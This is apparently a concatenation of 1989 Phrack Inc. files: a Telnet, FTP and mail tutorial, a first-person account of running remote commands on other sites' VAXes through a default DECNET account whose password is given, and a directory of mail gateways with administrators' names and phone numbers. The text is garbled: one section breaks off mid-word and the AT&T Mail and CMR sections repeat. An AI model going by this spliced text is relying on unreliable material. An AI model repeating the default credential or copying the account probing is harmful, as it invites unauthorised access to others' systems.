- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Telnet
~~~~~~
Remote login refers to logging in to a remote computer from a terminal
connected to a local computer. Telnet is the standard protocol in the DOD
Protocol Suite for accomplishing this. The "rlogin" program, provided with
Berkeley UNIX systems and some other systems, also enables remote login.
For purposes of discussion, the "local computer" is the computer to which your
terminal is directly connected while the "remote computer" is the computer on
the network to which you are communicating and to which your terminal is *NOT*
directly connected.
Since some computers use a different method of attaching terminals to
computers, a better definition would be the following: The "local computer" is
the computer that you are currently using and the "remote computer" is the
computer on the network with which you are or will be communicating. Note that
the terms "host" and "computer" are synonymous in the following discussion.
To use Telnet, simply enter the command: TELNET
The prompt that Telnet gives is: Telnet>
(However, you can specify where you want to Telnet to immediately and bypass
the the prompts and other delays by issuing the command: TELNET [location].)
There is help available by typing in ?. This prints a list of all the valid
subcommands that Telnet provides with a one-line explanation.
Telnet> ?
To connect to to another computer, use the open subcommand to open a connection
to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU",
do "open umcvmb.missouri.edu"
Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an
IP address and will send a packet to that host requesting login. If the remote
host decides to let you attempt a login, it prompts you for your username and
password. If the host does not respond, Telnet will "time out" (i.e. Wait for
a reasonable amount of time such as 20 seconds) and then terminate with a
message such as "Host not responding."
If your computer does not have an entry for a remote host in its hosttable and
it cannot resolve the name, you can use the IP address explicitly in the telnet
command. For example,
TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information
Center [SRI-NIC.ARPA])
If you are successful in logging in, your terminal is connected to the remote
host. For all intents and purposes, your terminal is directly hard-wired to
that host and you should be able to do anything on your remote terminal that
you can do at any local terminal. There are a few exceptions to this rule,
however.
Telnet provides a network escape character, such as CONTROL-T. You can find out
what the escape character is by entering the "status" subcommand:
Telnet> status
You can change the escape character by entering the "escape" subcommand:
Telnet> escape
When you type in the escape character, the Telnet prompt returns to your screen
and you can enter subcommands. For example, to break the connection, which
usually logs you off the remote host, enter the subcommand "quit":
Telnet> quit
Your Telnet connection usually breaks when you log off the remote host, so the
"quit" subcommand is not usually used to log off.
When you are logged in to a remote computer via Telnet, remember that there is
a time delay between your local computer and the remote one. This often
becomes apparent to users when scrolling a long file across the terminal screen
nd they wish to cancel the scrolling by typing CONTROL-C or something similar.
After typing the special control character, the scrolling continues. The
special control character takes a certain amount of time to reach the remote
computer which is still scrolling information. Thus response from the remote
computer will not likely be as quick as response from a local computer.
Once you are remotely logged on, the computer you are logged on to effectively
becomes your "local computer," even though your original "local computer" still
considers you logged on. You can log on to a third computer which would then
become your "local computer" and so on. As you log out of each session, your
previous session becomes active again.
File Transfer
~~~~~~~~~~~~~
FTP is the program that allows files to be sent from one computer to another.
"FTP" stands for "File Transfer Protocol".
When you start using FTP, a communications channel with another computer on the
network is opened. For example, to start using FTP and initiate a file
transfer session with a computer on the network called "UMCVMB", you would
issue the following subcommand:
FTP UMCVMB.MISSOURI.EDU
Host "UMCVMB" will prompt you for an account name and password. If your login
is correct, FTP will tell you so, otherwise it will say "login incorrect." Try
again or abort the FTP program. (This is usually done by typing a special
control character such as CONTROL-C. The "program abort" character varies from
system to system.)
Next you will see the FTP prompt, which is:
Ftp>
There are a number of subcommands of FTP. The subcommand "?" will list these
commands and a brief description of each one.
You can initiate a file transfer in either direction with FTP, either from the
remote host or to the remote host. The "get" subcommand initiates a file
transfer from the remote host (i.e. Tells the remote computer to send the file
to the local computer [the one on which you issued the "ftp" command]). Simply
enter "get" and FTP will prompt you for the remote host's file name and the
(new) local host's file name. Example:
Ftp> get
Remote file name?
theirfile
local file name?
myfile
ou can abbreviate this by typing both file names on the same line as the "get"
subcommand. If you do not specify a local file name, the new local file will
be called the same thing as the remote file. Valid FTP subcommands to get a
file include the following:
get theirfile myfile
get doc.x25
The "put" subcommand works in a similar fashion and is used to send a file from
the local computer to the remote computer. Enter the command "put" and FTP
will prompt you for the local file name and then the remote file name. If the
transfer cannot be done because the file doesn't exist or for some other
reason, FTP will print an error message.
There are a number of other subcommands in FTP that allow you to do many more
things. Not all of these are standard so consult your local documentation or
type a question mark at the FTP prompt. Some functions often built into FTP
include the ability to look at files before getting or putting them, the
ability to change directories, the ability to delete files on the remote
computer, and the ability to list the directory on the remote host.
An intriguing capability of many FTP implementations is "third party
transfers." For example, if you are logged on computer A and you want to cause
computer B to send a file to computer C, you can use FTP to connect to computer
B and use the "rmtsend" command. Of course, you have to know usernames and
passwords on all three computers, since FTP never allows you to peek into
someone's directory and files unless you know their username and password.
The "cd" subcommand changes your working directory on the remote host. The
"lcd" subcommand changes the directory on the local host. For UNIX systems,
the meaning of these subcommands is obvious. Other systems, especially those
that do not have directory-structured file system, may not implement these
commands or may implement them in a different manner.
The "dir" and "ls" subcommands do the same thing, namely list the files in the
working directory of of the remote host.
The "list" subcommand shows the contents of a file without actually putting it
into a file on the local computer. This would be helpful if you just wanted to
inspect a file. You could interrupt it before it reached the end of the file
by typing CONTROL-C or some other special character. This is dependent on your
FTP implementation.
The "delete" command can delete files on the remote host. You can also make
and remove directories on the remote host with "mkdir" and "rmdir". The
"status" subcommand will tell you if you are connected and with whom and what
the state of all your options are.
If you are transferring binary files or files with any non-printable
characters, turn binary mode on by entering the "binary" subcommand:
binary
To resume non-binary transfers, enter the "ascii" subcommand.
Transferring a number of files can be done easily by using "mput" (multiple
put) and "mget" (multiple get). For example, to get every file in a particular
directory, first issue a "cd" command to change to that directory and then an
"mget" command with an asterisk to indicate every file:
cd somedirectory
mget *
When you are done, use the "close" subcommand to break the communications link.
You will still be in FTP, so you must use the "bye" subcommand to exit FTP and
return to the command level. The "quit" subcommand will close the connection
and exit from FTP at the same time.
Mail
~~~~
Mail is the simplest network facility to use in many ways. All you have to do
is to create your message, which can be done with a file editor or on the spur
of the moment, and then send it. Unlike FTP and Telnet, you do not need to
know the password of the username on the remote computer. This is so because
you cannot change or access the files of the remote user nor can you use their
account to run programs. All you can do is to send a message.
There is probably a program on your local computer which does mail between
users on that computer. Such a program is called a mailer. This may or may
not be the way to send or receive mail from other computers on the network,
although integrated mailers are more and more common. UNIX mailers will be
used as an example in this discussion.
Note that the protocol which is used to send and receive mail over a TCP/IP
network is called SMTP, the "Simple Mail Transfer Protocol." Typically, you
will not use any program called SMTP, but rather your local mail program.
UNIX mailers are usually used by invoking a program named "mail". To receive
new mail, simply type "mail".
There are several varieties of UNIX mailers in existence. Consult your local
documentation for details. For example, the command "man mail" prints out the
manual pages for the mail program on your computer.
To send mail, you usually specify the address of the recipient on the mail
command. For example: "mail knight@umcvmb.missouri.edu" will send the
following message to username "knight" on host "umcvmb".
You can usually type in your message one line at a time, pressing RETURN after
each line and typing CONTROL-D to end the message. Other facilities to include
already-existing files sometimes exist. For example, Berkeley UNIXes allow you
to enter commands similar to the following to include a file in your current
mail message:
r myfile
In this example, the contents of "myfile" are inserted into the message at this
point.
Most UNIX systems allow you to send a file through the mail by using input
redirection. For example:
mail knight@umcvmb.missouri.edu < myfile
In this example, the contents of "myfile" are sent as a message to "knight" on
"umcvmb."
Note that in many UNIX systems the only distinction between mail bound for
another user on the same computer and another user on a remote computer is
simply the address specified. That is, there is no hostname for local
recipients. Otherwise, mail functions in exactly the same way. This is common
for integrated mail packages. The system knows whether to send the mail
locally or through the network based on the address and the user is shielded
from any other details.
"The Quest For Knowledge Is Without End..."
_______________________________________________________________________________
_
==Phrack Inc.==
Volume Three, Issue 27, File 7 of 12
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:> <:>
<:> The Making Of A Hacker <:>
<:> <:>
<:> by Framstag of West Germany <:>
<:> <:>
<:> June 2, 1989 <:>
<:> <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
Prologue For None VMS Users
~~~~~~~~~~~~~~~~~~~~~~~~~~~
DECnet is the network for DEC machines, in most cases you can say VAXes.
DECnet allows you to do: - e-mail
- file transfer
- remote login
- remote command
- remote job entry
- PHONE
PHONE is an interactive communication between users and is equal to TALK
on UNIX or a "deluxe"-CHAT on VM/CMS.
BELWUE, the university network of the state Baden-Wuerttemberg in
West Germany contains (besides other networks) a DECnet with about 400 VAXes.
On every VAX there is standard-account called DECNET with pw:= DECNET, which is
not reachable via remote login. This account is provided for several
DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very
restricted privileges: You cannot edit a file or make another remote login.
The HELP-menu is equipped by the system and is similar to the MAN command
on UNIX.
More information on DECnet can be found in "Looking Around In DECnet" by
Deep Thought in this very issue of Phrack Inc.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Here, at the University of Ulm, we have an *incredibly* ignorant computer
center staff, with an even bigger lack of system-literature (besides the 80 kg
of VAX/VMS-manuals). The active may search for information by himself, which
is over the level of "run," "FORTRAN," or "logout." My good luck that I have
other accounts in the BELWUE-DECnet, where more information is offered for the
users. I am a regular student in Ulm and all my accounts are completely legal
and corresponding to the German laws. I don't call myself a "hacker," I feel
more like a "user" (...it's more a defining-problem).
In the HELP-menu in a host in Tuebingen I found the file netdcl.com and
the corresponding explanation, which sends commands to the DECNET-Account of
other VAXes and executes them there (remote command). The explanation in the
HELP-menu was idiot-proof -- therefore for me, too :-)
With the command "$ mcr ncp show known nodes" you can obtain a list of all
netwide active VAXes, as is generally known, and so I pinged all these VAXes to
look for more information for a knowledge-thirsty user. With "help", "dir" and
other similar commands I look around on those DECnet accounts, always watching
for topics related to the BELWUE-network. It's a pity, that 2/3 of all VAXes
have locked the DECNET-Account for NETDCL.COM. Their system managers are
probably afraid of unauthorized access, but I cannot imagine how there could be
such an unauthorized access, because you cannot log on this account -- no
chance for trojan horses, etc.
Some system managers called me back after I visited their VAX to chat with
me about the network and asked me if they could help me in any way. One sysop
from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation
system.
Then, after a month, the H O R R O R came over me in shape of a the
following mail:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
From: TUEBINGEN::SYSTEM 31-MAY-1989 15:31:11.38
To: FRAMSTAG
CC:
Subj: don't make any crap, or you'll be kicked out!
From: ITTGPX::SYSTEM 29-MAY-1989 16:46
To: TUEBINGEN::SYSTEM
Subj: System-breaking-in 01-May-1989
To the system manager of the Computer TUEBINGEN,
On May 1st 1989 we had a System-breaking-in in our DECNET-account, which
started from your machine. By help of our accounting we ascertained your user
FRAMSTAG to have emulated an interactive log-on on our backbone-node and on
every machine of our VAX-cluster with the "trojan horse" NETDCL.COM. Give us
this user's name and address and dear up the occurrence completely. We point
out that the user is punishable. In case of repetition we would be forced to
take corresponding measures. We will check whether our system got injured. If
not, this time we will disregard any measure. Inform us via DECnet about your
investigation results -- we are attainable by the nodenumber 1084::system
Dipl.-Ing. Michael Hager
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
My system manager threatened me with the deleting of my account, if I
would not immediately enlighten the affair. *Gulp*!
I was conscious about my innocence, but how to tell it to the others? I
explained, step by step, everything to my system manager. He then understood
after a while, but the criminal procedure still hovered over me... so, I took
quickly to my keyboard, to compose file of explanations and to send it to that
angry system manager in Stuttgart (node 1084 is an institute there). But no
way out: He had run out of disk quota and my explanation-mail sailed into the
nirwana:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
$ mail explanation
To: 1084::system
%MAIL-E, error sending to user SYSTEM at 1084
%MAIL-E-OPENOUT, error opening SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI;
as output
-RMS-E-CRE, ACP file create failed
-SYSTEM-F-EXDISKQUOTA, disk quota exceeded
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Also the attempt of a connection with the PHONE-facilty failed: In his
borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with
the REAL-addresses of the virtual DECnet-addresses available (to prevent
hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no
chance to vindicate myself. I poured out my troubles to an acquaintance of
mine, who is a sysop in the computer-center in Freiburg. He asked other sysops
and managers thru the whole BELWUE-network until someone gave him a telephone
number after a few days -- and that was the right one!
I phoned to this Hager and told him what I had done with his
DECnet-account and also what NOT. I wanted to know which crime I had
committed. He promptly cancelled all of his reproaches, but he did not excuse
his defamous incriminations. I entreated him to inform my system manager in
Tuebingen that I have done nothing illegal and to stop him from erasing my
account. This happens already to a fellow student of mine (in this case, Hager
was also guilty). He promised me that he would officially cancel his
reproaches.
After over a week this doesn't happen (I'm allowed to use my account
further on). In return for it, I received a new mail from Hager on another
account of mine:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
From: 1084::HAGER 1-JUN-1989 12:51
To: 50180::STUD_11
Subj: System-breaking-in
On June 1st 1989 you have committed a system-breaking-in on at least one of our
VAXes. We were able to register this occurrence. We would be forced to take
further measure if you did not dear up the occurrence completely until June
6th.
Of course the expenses involved would be imposed on you. Hence enlightenment
must be in your own interest.
We are attainable via DECnet-mail with the address 1084::HAGER or via following
address:
Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
Dipl.-Ing. M. Hager Tel.: 0711/685-6109
Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
Pfaffenwaldring 9/10-1
7000 Stuttgart-80
M. Hager
M. Mrzyglod
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not
answered to this mail. I AM SICK OF IT!
Framstag
(FRAMSTAG@DTUPEV5A.BITNET)
With Special Thanks For Translation Assistance To Schrulli B.
_______________________________________________________________________________
ÿÿ
_
==Phrack Inc.==
Volume Three, Issue 28, File #4 of 12
Network Miscellany
~~~~~~~~~~~~~~~~~~
by Taran King
June 1, 1989
ACSNET
~~~~~~
Australian Computer Science Network (ACSNET), also known as Oz, has its gateway
through the CSNET node munnari.oz.au and if you cannot directly mail to the
oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or
munnari!username@UUNET.UU.NET.
AT&T MAIL
~~~~~~~~~
AT&T Mail is a mailing service of AT&T, probably what you might call it's
MCI-Mail equivalent. It is available on the UUCP network as node name attmail
but I've had problems having mail get through. Apparently, it does cost money
to mail to this service and the surrounding nodes are not willing to pick up
the tab for the ingoing mail, or at least, this has seemingly been the case
thus far. I believe, though, that perhaps routing to att!attmail!user would
work.
AT&T recently announced six new X.400 interconnections between AT&T Mail and
electronic mail services in the U.S., Korea, Sweden, Australia, and Finland.
In the U.S., AT&T Mail is now interconnected with Telenet Communications
Corporation's service, Telemail, allowing users of both services to exchange
messages easily. With the addition of these interconnections, the AT&T Mail
Gateway 400 Service allows AT&T Mail subscribers to exchange messages with
users of the following electronic messaging systems:
Company E-Mail Name* Country
------- ------------ -------
TeleDelta TeDe 400 Sweden
OTC MPS400 Australia
Telecom-Canada Envoy100 Canada
DACOM DACOM MHS Korea
P&T-Tele MailNet 400 Finland
Helsinki Telephone Co. ELISA Finland
Dialcom Dialcom USA
Telenet Telemail USA
KDD Messavia Japan
Transpac ATLAS400 France
The interconnections are based on the X.400 standard, a set of guidelines for
the format, delivery and receipt of electronic messages recommended by an
international standards committee the CCITT. International X.400 messages
incur a surcharge. They are:
To Canada:
Per note: $.05
Per message unit: $.10
To other international locations:
Per note: $.20
Per message unit: $.50
There is no surcharge for X.400 messages within the U.S. The following are
contacts to speak with about mailing through these mentioned networks. Other
questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672.
MHS Gateway: mhs!atlas MHS Gateway: mhs!dacom
Administrator: Bernard Tardieu Administrator: Bob Nicholson
Transpac AT&T
Phone: 3399283203 Morristown, NJ 07960
Phone: +1 201 644 1838
MHS Gateway: mhs!dialcom MHS Gateway: mhs!elisa
Administrator: Mr. Laraman Administrator: Ulla Karajalainen
Dialcom Nokia Data
South Plainfield, NJ 07080 Phone: 01135804371
Phone: +1 441 493 3843
MHS Gateway: mhs!envoy MHS Gateway: mhs!kdd
Administrator: Kin C. Ma Administrator: Shigeo Lwase
Telecom Canada Kokusai Denshin Denwa CO.
Phone: +1 613 567 7584 Phone: 8133477419
MHS Gateway: mhs!mailnet MHS Gateway: mhs!otc
Administrator: Kari Aakala Administrator: Gary W. Krumbine
Gen Directorate Of Post & AT&T Information Systems
Phone: 35806921730 Lincroft, NJ 07738
Phone: +1 201 576 2658
MHS Gateway: mhs!telemail MHS Gateway: mhs
Administrator: Jim Kelsay Administrator: AT&T Mail MHS
GTE Telenet Comm Corp Gateway
Reston, VA 22096 AT&T
Phone: +1 703 689 6034 Lincroft, NJ 08838
Phone: +1 800 624 5672
CMR
~~~
Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
mail relay service between the Internet and three commercial electronic mail
systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
NSFMAIL, and USDA-MAIL).
An important note: The only requirement for using this mail gateway is that
the work conducted must be DARPA sponsored research and other approved
government business. Basically, this means that unless you've got some
government-related business, you're not supposed to be using this gateway.
Regardless, it would be very difficult for them to screen everything that goes
through their gateway. Before I understood the requirements of this gateway, I
was sending to a user of MCI-Mail and was not contacted about any problems with
that communication. Unfortunately, I mistyped the MCI-Mail address on one of
the letters and that letter ended up getting read by system administrators who
then informed me that I was not to be using that system, as well as the fact
that they would like to bill me for using it. That was an interesting thought
on their part anyway, but do note that using this service does incur charges.
The CMR mailbox address in each system corresponds to the label:
Telemail: [Intermail/USCISI]TELEMAIL/USA
MCI-Mail: Intermail or 107-8239
CompMail: Intermail or CMP0817
NSF-Mail: Intermail or NSF153
USDA-Mail: Intermail or AGS9999
Addressing examples for each e-mail system are as follows:
MCIMAIL:
123-4567 seven digit address
Everett T. Bowens person's name (must be unique!)
COMPMAIL:
CMP0123 three letters followed by three or four digits
S.Cooper initial, then "." and then last name
134:CMP0123 domain, then ":" and then combination system and
account number
NSFMAIL:
NSF0123 three letters followed by three or four digits
A.Phillips initial, then "." and then last name
157:NSF0123 domain, then ":" and then combination system and
account number
USDAMAIL:
AGS0123 three letters followed by three or four digits
P.Shifter initial, then "." and then last name
157:AGS0123 domain, then ":" and then combination system and
account number
TELEMAIL:
BARNOC user (directly on Telemail)
BARNOC/LODH user/organization (directly on Telemail)
[BARNOC/LODH]TELEMAIL/USA
[user/organization]system branch/country
The following are other Telenet system branches/countries that can be mailed
to:
TELEMAIL/USA NASAMAIL/USA MAIL/USA TELEMEMO/AUSTRALIA
TELECOM/CANADA TOMMAIL/CHILE TMAILUK/GB ITALMAIL/ITALY
ATI/JAPAN PIPMAIL/ROC DGC/USA FAAMAIL/USA
GSFC/USA GTEMAIL/USA TM11/USA TNET.TELEMAIL/USA
USDA/USA
Note: OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to
it, the format would be [A.MAILBOX/OMNET]MAIL/USA. The following are available
subdivisions of OMNET:
AIR Atmospheric Sciences
EARTH Solid Earth Sciences
LIFE Life Sciences
OCEAN Ocean Sciences
POLAR Interdisciplinary Polar Studies
SPACE Space Science and Remote Sensing
The following is a list of DIALCOM systems available in the listed countries
with their domain and system numbers:
Service Name Country Domain Number System Number
~~~~~~~~~~~~ ~~~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~~~
Keylink-Dialcom Australia 60 07, 08, 09
Dialcom Canada 20 20, 21, 22, 23, 24
DPT Databoks Denmark 124 71
Telebox Finland 127 62
Telebox West Germany 30 15, 16
Dialcom Hong Kong 80 88, 89
Eirmail Ireland 100 74
Goldnet Israel 50 05, 06
Mastermail Italy 130 65, 67
Mastermail Italy 1 66, 68
Dialcom Japan 70 13, 14
Dialcom Korea 1 52
Telecom Gold Malta 100 75
Dialcom Mexico 1 52
Memocom Netherlands 124 27, 28, 29
Memocom Netherlands 1 55
Starnet New Zealand 64 01, 02
Dialcom Puerto Rico 58 25
Telebox Singapore 88 10, 11, 12
Dialcom Taiwan 1 52
Telecom Gold United Kingdom 100 01, 04, 17,
80-89
DIALCOM USA 1 29, 30, 31, 32,
33, 34, 37, 38,
41-59, 61, 62, 63,
90-99
NOTE: You can also mail to username@NASAMAIL.NASA.GOV or
username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to
mail to NASAMAIL or GSFCMAIL.
For more information and instructions on how to use CMR, send a message to the
user support group at intermail-request@intermail.isi.edu (you'll get basically
what I've listed plus maybe a bit more). Please read Chapter 3 of The Future
Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
destination mailing systems.
COMPUSERVE
~~~~~~~~~~
CompuServe is well known for its games and conferences. It does, though, have
mailing capability. Now, they have developed their own Internet domain, called
COMPUSERVE.COM. It is relatively new and mail can be routed through either
TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA.
Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace
TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA).
The CompuServe link appears to be a polled UUCP connection at the gateway
machine. It is actually managed via a set of shell scripts and a comm utility
called xcomm, which operates via command scripts built on the fly by the shell
scripts during analysis of what jobs exist to go into and out of CompuServe.
CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as
7xxxx.yyyy@compuserve.com. CompuServe employees can be addressed by their
usernames in the csi.compuserve.com subdomain. CIS subscribers write mail to
">inet:user@host.domain" to mail to users on the Wide-Area Networks, where
">gateway:" is CompuServe's internal gateway access syntax. The gateway
generates fully-RFC-compliant headers.
To fully extrapolate -- from the CompuServe side, you would use their EasyPlex
mail system to send mail to someone in BITNET or the Internet. For example,
to send me mail at my Bitnet id, you would address it to:
INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU
Or to my Internet id:
INET:C488869@UMCVMB.MISSOURI.EDU
Now, if you have a BITNET to Internet userid, this is a silly thing to do,
since your connect time to CompuServe costs you money. However, you can use
this information to let people on CompuServe contact YOU. CompuServe Customer
Service says that there is no charge to either receive or send a message to the
Internet or BITNET.
DASNET
~~~~~~
DASnet is a smaller network that connects to the Wide-Area Networks but charges
for their service. DASnet subscribers get charged for both mail to users on
other networks AND mail for them from users of other networks. The following
is a brief description of DASnet, some of which was taken from their
promotional text letter.
DASnet allows you to exchange electronic mail with people on more than 20
systems and networks that are interconnected with DASnet. One of the
drawbacks, though, is that, after being subscribed to these services, you must
then subscribe to DASnet, which is a separate cost. Members of Wide-Area
networks can subscribe to DASnet too. Some of the networks and systems
reachable through DASnet include the following:
ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network,
Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI,
PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source,
Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP, The
WELL, and Domains (i.e. ".COM" and ".EDU" etc.). New systems are added
all of the time. As of the writing of this file, Connect, GoverNET,
MacNET, and The American Institute of Physics PI-MAIL are soon to be
connected.
You can get various accounts on DASnet including:
o Corporate Accounts -- If your organization wants more than one individual
subscription.
o Site Subscriptions -- If you want DASnet to link directly to your
organization's electronic mail system.
To send e-mail through DASnet, you send the message to the DASnet account on
your home system. You receive e-mail at your mailbox, as you do now. On the
Wide-Area Networks, you send mail to XB.DAS@STANFORD.BITNET. On the Subject:
line, you type the DASnet address in brackets and then the username just
outside of them. The real subject can be expressed after the username
separated by a "!" (Example: Subject: [0756TK]randy!How's Phrack?).
The only disadvantage of using DASnet as opposed to Wide-Area networks is the
cost. Subscription costs as of 3/3/89 cost $4.75 per month or $5.75 per month
for hosts that are outside of the U.S.A.
You are also charged for each message that you send. If you are corresponding
with someone who is not a DASnet subscriber, THEIR MAIL TO YOU is billed to
your account.
The following is an abbreviated cost list for mailing to the different services
of DASnet:
PARTIAL List DASnet Cost DASnet Cost
of Services 1st 1000 Each Add'l 1000
Linked by DASnet (e-mail) Characters Characters:
INET, MacNET, PeaceNet, NOTE: 20 lines
Unison, UUCP*, Domains, .21 .11 of text is app.
e.g. .COM, .EDU* 1000 characters.
Dialcom--Any "host" in U.S. .36 .25
Dialcom--Hosts outside U.S. .93 .83
EasyLink (From EasyLink) .21 .11
(To EasyLink) .55 .23
U.S. FAX (internat'l avail.) .79 .37
GeoMail--Any "host" in U.S. .21 .11
GeoMail--Hosts outside U.S. .74 .63
MCI (from MCI) .21 .11
(to MCI) .78 .25
(Paper mail - USA) 2.31 .21
Telemail .36 .25
W.U. Telex--United States 1.79 1.63
(You can also send Telexes outside the U.S.)
TWICS--Japan .89 .47
* The charges given here are to the gateway to the network. The DASnet
user is not charged for transmission on the network itself.
Subscribers to DASnet get a free DASnet Network Directory as well as a listing
in the directory, and the ability to order optional DASnet services like
auto-porting or DASnet Telex Service which gives you your own Telex number and
answerback for $8.40 a month at this time.
DASnet is a registered trademark of DA Systems, Inc.
DA Systems, Inc.
1503 E. Campbell Ave.
Campbell, CA 95008
408-559-7434
TELEX: 910 380-3530
The following two sections on PeaceNet and AppleLink are in association with
DASnet as this network is what is used to connect00 Finland
Helsinki Telephone Co. ELISA Finland
Dialcom Dialcom USA
Telenet Telemail USA
KDD Messavia Japan
Transpac ATLAS400 France
The interconnections are based on the X.400 standard, a set of guidelines for
the format, delivery and receipt of electronic messages recommended by an
international standards committee the CCITT. International X.400 messages
incur a surcharge. They are:
To Canada:
Per note: $.05
Per message unit: $.10
To other international locations:
Per note: $.20
Per message unit: $.50
There is no surcharge for X.400 messages within the U.S. The following are
contacts to speak with about mailing through these mentioned networks. Other
questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672.
MHS Gateway: mhs!atlas MHS Gateway: mhs!dacom
Administrator: Bernard Tardieu Administrator: Bob Nicholson
Transpac AT&T
Phone: 3399283203 Morristown, NJ 07960
Phone: +1 201 644 1838
MHS Gateway: mhs!dialcom MHS Gateway: mhs!elisa
Administrator: Mr. Laraman Administrator: Ulla Karajalainen
Dialcom Nokia Data
South Plainfield, NJ 07080 Phone: 01135804371
Phone: +1 441 493 3843
MHS Gateway: mhs!envoy MHS Gateway: mhs!kdd
Administrator: Kin C. Ma Administrator: Shigeo Lwase
Telecom Canada Kokusai Denshin Denwa CO.
Phone: +1 613 567 7584 Phone: 8133477419
MHS Gateway: mhs!mailnet MHS Gateway: mhs!otc
Administrator: Kari Aakala Administrator: Gary W. Krumbine
Gen Directorate Of Post & AT&T Information Systems
Phone: 35806921730 Lincroft, NJ 07738
Phone: +1 201 576 2658
MHS Gateway: mhs!telemail MHS Gateway: mhs
Administrator: Jim Kelsay Administrator: AT&T Mail MHS
GTE Telenet Comm Corp Gateway
Reston, VA 22096 AT&T
Phone: +1 703 689 6034 Lincroft, NJ 08838
Phone: +1 800 624 5672
CMR
~~~
Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
mail relay service between the Internet and three commercial electronic mail
systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
NSFMAIL, and USDA-MAIL).
An important note: The only requirement for using this mail gateway is that
the work conducted must be DARPA sponsored research and other approved
government business. Basically, this means that unless you've got some
government-related business, you're not supposed to be using this gateway.
Regardless, it would be very difficult for them to screen everything that goes
through their gateway. Before I understood the requirements of this gateway, I
was sending to a user of MCI-Mail and was not contacted about any problems with
that communication. Unfortunately, I mistyped the MCI-Mail address on one of
the letters and that letter ended up getting read by system administrators who
then informed me that I was not to be using that system, as well as the fact
that they would like to bill me for using it. That was an interesting thought
on their part anyway, but do note that using this service does incur charges.
The CMR mailbox address in each system corresponds to the label:
Telemail: [Intermail/USCISI]TELEMAIL/USA
MCI-Mail: Intermail or 107-8239
CompMail: Intermail or CMP0817
NSF-Mail: Intermail or NSF153
USDA-Mail: Intermail or AGS9999
Addressing examples for each e-mail system are as follows:
MCIMAIL:
123-4567 seven digit address
Everett T. Bowens person's name (must be unique!)
COMPMAIL:
CMP0123 three letters followed by three or four digits
S.Cooper initial, then "." and then last name
134:CMP0123 domain, then ":" and then combination system and
account number
NSFMAIL:
NSF0123 three letters followed by three or four digits
A.Phillips initial, then "." and then last name
157:NSF0123 domain, then ":" and then combination system and
account number
USDAMAIL:
AGS0123 three letters followed by three or four digits
P.Shifter initial, then "." and then last name
157:AGS0123 domain, then ":" and then combination system and
account number
TELEMAIL:
BARNOC user (directly on Telemail)
BARNOC/LODH user/organization (directly on Telemail)
[BARNOC/LODH]TELEMAIL/USA
[user/organization]system branch/country
The following are other Telenet system branches/countries that can be mailed
to:
TELEMAIL/USA NASAMAIL/USA MAIL/USA TELEMEMO/AUSTRALIA
TELECOM/CANADA TOMMAIL/CHILE TMAILUK/GB ITALMAIL/ITALY
ATI/JAPAN PIPMAIL/ROC DGC/USA FAAMAIL/USA
GSFC/USA GTEMAIL/USA TM11/USA TNET.TELEMAIL/USA
USDA/USA
Note: OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to
it, the format would be [A.MAILBOX/OMNET]MAIL/USA. The following are available
subdivisions of OMNET:
AIR Atmospheric Sciences
EARTH Solid Earth Sciences
LIFE Life Sciences
OCEAN Ocean Sciences
POLAR Interdisciplinary Polar Studies
SPACE Space Science and Remote Sensing
The following is a list of DIALCOM systems available in the listed countries
with their domain and system numbers:
Service Name Country Domain Number System Number
~~~~~~~~~~~~ ~~~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~~~
Keylink-Dialcom Australia 60 07, 08, 09
Dialcom Canada 20 20, 21, 22, 23, 24
DPT Databoks Denmark 124 71
Telebox Finland 127 62
Telebox West Germany 30 15, 16
Dialcom Hong Kong 80 88, 89
Eirmail Ireland 100 74
Goldnet Israel 50 05, 06
Mastermail Italy 130 65, 67
Mastermail Italy 1 66, 68
Dialcom Japan 70 13, 14
Dialcom Korea 1 52
Telecom Gold Malta 100 75
Dialcom Mexico 1 52
